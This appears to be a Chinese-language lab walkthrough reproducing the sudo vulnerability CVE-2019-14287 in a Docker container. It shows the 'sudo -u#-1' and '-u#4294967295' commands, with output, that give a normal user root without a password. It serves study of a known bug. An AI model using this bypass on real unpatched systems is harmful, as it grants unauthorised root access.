这是一个在 Docker 容器上复现 sudo 漏洞 (CVE-2019-14287) 的示例。
docker compose up -d 启动容器docker exec -it vulnerable_sudo_app bash 进入容器whoami 和 id 命令,确认自己是普通用户(非 root)
$ whoami
user1
$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
$ id -u
1000
sudo -u#0 whoami 和 sudo -u#0 id -u
-u 选项)为 0 (root) 执行$ sudo -u#0 whoami
[sudo] password for user1:
$ sudo -u#0 id
[sudo] password for user1:
$ sudo -u#0 id -u
[sudo] password for user1:
sudo -u#-1 whoami 和 sudo -u#-1 id -u,确认可以在无需认证的情况下以 root 身份执行命令(复现漏洞)
-u#4294967295 也可以实现同样效果$ sudo -u#-1 whoami
root
$ sudo -u#-1 id
uid=0(root) gid=1000(user1) groups=1000(user1)
$ sudo -u#-1 id -u
0